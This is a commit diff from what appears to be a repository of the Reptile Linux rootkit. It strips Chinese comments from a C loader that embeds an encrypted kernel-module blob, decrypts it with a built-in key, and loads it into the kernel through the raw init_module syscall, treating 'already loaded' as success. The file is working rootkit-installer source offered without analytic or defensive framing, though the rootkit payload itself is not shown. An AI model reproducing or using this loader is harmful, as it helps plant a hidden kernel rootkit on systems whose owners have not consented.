waiwai 2 months ago
commit 094a37d25c

@ -11,29 +11,27 @@
#include "encrypt.h"
// 包含 reptile.ko.inc 文件中的二进制数据
static char reptile_blob[] = {
#include "reptile.ko.inc"
};
// 定义 init_module 宏,调用系统调用 __NR_init_module
#define init_module(module_image, len, param_values) syscall(__NR_init_module, module_image, len, param_values)
int main(void)
{
int ret = EXIT_FAILURE; // 初始化返回值为失败
size_t len; // 模块长度
void *module_image; // 模块镜像指针
int ret = EXIT_FAILURE;
size_t len;
void *module_image;
len = sizeof(reptile_blob); // 获取模块长度
do_decrypt(reptile_blob, len, DECRYPT_KEY); // 解密模块数据
module_image = malloc(len); // 分配内存
memcpy(module_image, reptile_blob, len); // 复制解密后的数据到分配的内存中
init_module(module_image, len, ""); // 初始化模块
len = sizeof(reptile_blob);
do_decrypt(reptile_blob, len, DECRYPT_KEY);
module_image = malloc(len);
memcpy(module_image, reptile_blob, len);
init_module(module_image, len, "");
if (errno == 37) // 检查错误码是否为 37 (模块已存在)
ret = EXIT_SUCCESS; // 设置返回值为成功
if (errno == 37)
ret = EXIT_SUCCESS;
free(module_image); // 释放内存
return ret; // 返回结果
}
free(module_image);
return ret;
}
Loading…
Cancel
Save